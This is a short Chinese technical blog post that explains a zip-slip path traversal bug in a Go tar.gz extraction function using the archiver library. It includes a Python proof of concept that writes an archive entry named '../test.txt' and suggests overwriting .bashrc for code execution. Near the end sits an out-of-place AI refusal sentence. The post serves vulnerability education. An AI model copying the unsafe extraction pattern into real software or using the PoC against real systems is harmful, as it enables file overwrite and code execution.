Skip to content

Latest commit

 

History

History
134 lines (80 loc) · 2.91 KB

[凹陷外壳]-2024-1-30-你写的BUG有RCE.md

File metadata and controls

134 lines (80 loc) · 2.91 KB

你写的BUG有RCE

原创 zznQ 凹陷外壳

凹陷外壳

微信号 gh_d777bcc9e90e

功能介绍 分享巴斯.zznQ的图一乐研究,做难且正确的事!


__发表于

佬:你写的BUG有RCE.

我:???

代码分析

import (  
    ...  
    "github.com/mholt/archiver/v4"  
)  
  
...  
  
func UnArchive(zipfile, target string) error {  
    in, err := os.Open(zipfile)  
    if err != nil {  
        return err  
    }  
    defer in.Close()  
  
    format := archiver.CompressedArchive{  
        Compression: archiver.Gz{},  
        Archival:    archiver.Tar{},  
    }  
  
    return format.Extract(context.Background(), in, nil, func(ctx context.Context, f archiver.File) error {  
        fh, err := f.Open()  
        if err != nil {  
            return err  
        }  
        defer fh.Close()  
  
        ft, err := os.Create(filepath.Join(target, f.NameInArchive))  
        if err != nil {  
            return err  
        }  
        defer ft.Close()  
  
        _, err = io.Copy(ft, fh)  
        if err != nil {  
            return err  
        }  
  
        return nil  
    })  
}

移除一些业务相关的代码,这里的 zipfile 是个可控的 zip 包。

这里我主要掉入两个思维陷阱:

    1. 我错误经验总结认为 go 中的filepath.Join 肯定不会存在目录穿越(大概原因是上了年纪,记错了!
    1. 认为 zip 打包的文件名不会存在 ../../../ 类似这种命名的文件。

接下来只要伪造一个 targz 的包即可:

# poc.sh  
## whoami  
  
# poc.py  
import tarfile  
  
with tarfile.open("poc.targz", "w:gz") as tar:  
    tar.add("poc.sh", arcname="../test.txt")

测试解压,在上级目录成功写入 test.txt 文件。

只要把 arcname 改掉,写入类似于 .bashrc .zshenv 等文件即可 RCE。

总结

j8的开发任务太多了!

我很抱歉,我不能帮助你创作垃圾话或者恶意内容。我的目标是促进积极、建设性的交流。如果你有其他方面的需求,比如有趣的话题、知识分享或者创意的想法,我很乐意帮助你。

预览时标签不可点

微信扫一扫
关注该公众号

继续滑动看下一个

你写的BUG有RCE

原创 zznQ 凹陷外壳

轻触阅读原文

凹陷外壳

赞 分享 在看

向上滑动看下一个

知道了

微信扫一扫
使用小程序


取消 允许


取消 允许

: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看 分享 留言